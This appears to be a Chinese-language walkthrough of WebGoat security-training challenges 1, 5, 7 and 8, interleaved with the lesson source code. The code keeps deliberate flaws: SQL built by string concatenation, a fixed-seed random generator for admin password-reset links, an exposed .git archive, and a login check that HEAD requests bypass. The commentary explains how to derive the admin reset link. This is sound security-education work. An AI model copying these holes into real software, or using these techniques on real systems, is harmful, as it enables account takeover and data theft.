Assignment1 package com.wanan.webgoat.lessons.challenges.challenge1;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.challenges.Flag;import org.springframework.security.core.parameters.P;import org.springframework.util.StringUtils;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import static com.wanan.webgoat.lessons.challenges.SolutionConstants.PASSWORD;@RestController public class Assignment1 extends AssignmentEndpoint { @PostMapping("/challenge/1") @ResponseBody public AttackResult completed (@RequestParam String username, @RequestParam String password, HttpServletRequest request) { boolean ipAddressKnown = true ; boolean passwordCorrect = "admin" .equals(username) && PASSWORD.replace("1234" ,String.format("%04d" ,ImageServlet.PINCODE)).equals(password); if (passwordCorrect && ipAddressKnown) { return success(this ).feedback("challenge.solved" ).feedbackArgs(Flag.FLAGS.get(1 )).build(); }else if (passwordCorrect) { return failed(this ).feedback("ip.address.unknown" ).build(); } return failed(this ).build(); } public static boolean containsHeader (HttpServletRequest request) { return StringUtils.hasText(request.getHeader("X-Forwarded-For" )); } }
challenge5 Challenge5 package com.wanan.webgoat.lessons.challenges.challenge5;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class Challenge5 extends Lesson { @Override public Category getDefaultCategory () { return Category.CHALLENGE; } @Override public String getTitle () { return "challenge5.title" ; } }
Assignment5 package com.wanan.webgoat.lessons.challenges.challenge5;import com.wanan.webgoat.container.LessonDataSource;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.challenges.Flag;import lombok.extern.slf4j.Slf4j;import org.springframework.util.StringUtils;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.sql.PreparedStatement;import java.sql.ResultSet;@RestController @Slf4j public class Assignment5 extends AssignmentEndpoint { private final LessonDataSource dataSource; public Assignment5 (LessonDataSource dataSource) { this .dataSource = dataSource; } @PostMapping("/challenge/5") @ResponseBody public AttackResult login (@RequestParam String username_login,@RequestParam String password_login) throws Exception{ if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)){ return failed(this ).feedback("required4" ).build(); } if (!"Larry" .equals(username_login)){ return failed(this ).feedback("user.not.larry" ).feedbackArgs(username_login).build(); } try (var connection = dataSource.getConnection()){ PreparedStatement statement = connection.prepareStatement("select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'" ); ResultSet resultSet = statement.executeQuery(); if (resultSet.next()){ return success(this ).feedback("challenge.solved" ).feedbackArgs(Flag.FLAGS.get(5 )).build(); }else { return failed(this ).feedback("challenge.close" ).build(); } } } }
challenge7 Challenge7 package com.wanan.webgoat.lessons.challenges.challenge7;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class Challenge7 extends Lesson { @Override public Category getDefaultCategory () { return Category.CHALLENGE; } @Override public String getTitle () { return "challenge7.title" ; } }
Email package com.wanan.webgoat.lessons.challenges.challenge7;import lombok.Builder;import lombok.Data;import java.io.Serializable;import java.time.LocalDateTime;@Builder @Data public class Email implements Serializable { private LocalDateTime time; private String contents; private String sender; private String title; private String recipient; }
MD5 MD5工具类
PasswordResetLink package com.wanan.webgoat.lessons.challenges.challenge7;import java.util.Random;public class PasswordResetLink { public String createPasswordReset (String username,String key) { Random random = new Random (); if (username.equalsIgnoreCase("admin" )){ random.setSeed(key.length()); } return scramble(random,scramble(random,scramble(random,MD5.getHashString(username)))); } public static String scramble (Random random,String inputString) { char [] a = inputString.toCharArray(); for (int i = 0 ; i < a.length;i++){ int j = random.nextInt(a.length); char temp = a[i]; a[i] = a[j]; a[j] = temp; } return new String (a); } }
Assignment7 注意差异
package com.wanan.webgoat.lessons.challenges.challenge7;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.challenges.Flag;import com.wanan.webgoat.lessons.challenges.SolutionConstants;import lombok.extern.slf4j.Slf4j;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.beans.factory.annotation.Value;import org.springframework.core.io.ClassPathResource;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.util.StringUtils;import org.springframework.web.bind.annotation.*;import org.springframework.web.client.RestTemplate;import javax.servlet.http.HttpServletRequest;import java.net.URI;import java.net.URISyntaxException;import java.time.LocalDateTime;@RestController @Slf4j public class Assignment7 extends AssignmentEndpoint { private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + "<a target='_blank' href='%s:8080/WebGoat/challenge/7/reset-password/%s'>link</a> to reset your password." + "\n \n\n" + "If you did not request this password change you can ignore this message." + "\n" + "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" + "\n\n" + "Kind regards, \nTeam WebGoat" ; @Autowired private RestTemplate restTemplate; @Value("${webwolf.mail.url}") private String webWolfMailURL; @GetMapping("/challenge/7/reset-password/{link}") public ResponseEntity<String > resetPassword(@PathVariable(value = "link") String link){ if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)){ return ResponseEntity.accepted().body("<h1>Success!!</h1>" + "<img src='/WebGoat/images/hi-five-cat.jpg'>" + "<br/><br/>Here is your flag: " + "<b>" + Flag.FLAGS.get(7 ) + "</b>" ); } return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin" ); } @PostMapping("/challenge/7") @ResponseBody public AttackResult sendPasswordResetLink (@RequestParam String email, HttpServletRequest request) throws URISyntaxException{ if (StringUtils.hasText(email)){ String username = email.substring(0 ,email.indexOf("@" )); if (StringUtils.hasText(username)){ URI uri = new URI (request.getRequestURI().toString()); Email mail = Email.builder() .title("Your password reset link for challenge 7" ) .contents(String.format(TEMPLATE,uri.getScheme() + "://" + uri.getHost(),new PasswordResetLink ().createPasswordReset(username,"webgoat" ))) .sender("password-reset@webgoat-cloud.net" ) .recipient(username) .time(LocalDateTime.now()).build(); restTemplate.postForEntity(webWolfMailURL,mail,Object.class); } } return success(this ).feedback("email.send" ).feedbackArgs(email).build(); } @GetMapping(value = "/challenge/7/.git",produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) @ResponseBody public ClassPathResource git () { return new ClassPathResource ("lessons/challenges/challenge7/git.zip" ); } }
这里的话其他的地方是没什么问题的 问题出在这个admin的重置链接上面
我们跟到这里
可以看到这里对random设置了一个 seed 并且这个值还是一个固定的值 那么这里会发生什么呢 ?
没错 这里就会导致每次生成的随机数都是相同的 可以自行尝试 这里也就导致了最终的admin重置链接会是相同的 那么我们只需要拿到源码就可以获取到 admin的重置链接
回到题目本身 首先我们需要获取到源码
打开之后是一个git 那么现在我们需要回档 于git的上级目录进行操作
直接拖进去反编译一下 这里其实不太好搞 首先我们的username 我们知道是 admin 那这里的key呢? 其实就在 var2中给定义好了
拿到link
375afe1104f4a487a73823c50a9292a2
http://127.0.0.1:8082/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2
challenge8 Challenge8 package com.wanan.webgoat.lessons.challenges.challenge8;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class Challenge8 extends Lesson { @Override public Category getDefaultCategory () { return Category.CHALLENGE; } @Override public String getTitle () { return "challenge8.title" ; } }
Assignment8 package com.wanan.webgoat.lessons.challenges.challenge8;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.lessons.challenges.Flag;import lombok.extern.slf4j.Slf4j;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PathVariable;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.util.HashMap;import java.util.Map;import java.util.stream.Collectors;@RestController @Slf4j public class Assignment8 extends AssignmentEndpoint { private static final Map<Integer,Integer> votes = new HashMap <>(); static { votes.put(1 , 400 ); votes.put(2 , 120 ); votes.put(3 , 140 ); votes.put(4 , 150 ); votes.put(5 , 300 ); } @GetMapping(value = "/challenge/8/vote/{stars}",produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public ResponseEntity<?> vote(@PathVariable(value = "stars") int nrOfStars , HttpServletRequest request){ String msg = "" ; if (request.getMethod().equals("GET" )){ var json = Map.of("error" , true , "message" , "Sorry but you need to login first in order to vote" ); return ResponseEntity.status(200 ).body(json); } Integer allVotesForStar = votes.getOrDefault(nrOfStars,0 ); votes.put(nrOfStars,allVotesForStar +1 ); return ResponseEntity.ok().header("X-Flag" ,"Thanks for voting, your flag is: " + Flag.FLAGS.get(8 )).build(); } @GetMapping("/challenge/8/votes/") public ResponseEntity<?> getVotes(){ return ResponseEntity.ok(votes.entrySet().stream().collect(Collectors.toMap(e -> "" + e.getKey(),e-> e.getValue()))); } @GetMapping("/challenge/8/votes/average") public ResponseEntity<Map<String ,Integer>> average () { int totalNumberOfVotes = votes.values().stream().mapToInt(i->i.intValue()).sum(); int categories = votes.entrySet().stream().mapToInt(e->e.getKey() * e.getValue()).reduce(0 ,(a,b)->a+b); var json = Map.of("average" , (int ) Math.ceil((double ) categories / totalNumberOfVotes)); return ResponseEntity.ok(json); } @GetMapping("/challenge/8/notUsed") public AttackResult notUsed () { throw new IllegalStateException ("Should never be called, challenge specific method" ); } }
当投票时显示需要登录
但是当请求为HEAD时可进入下一步操作
结尾 通关了 除了有一关显示错误 一关不能做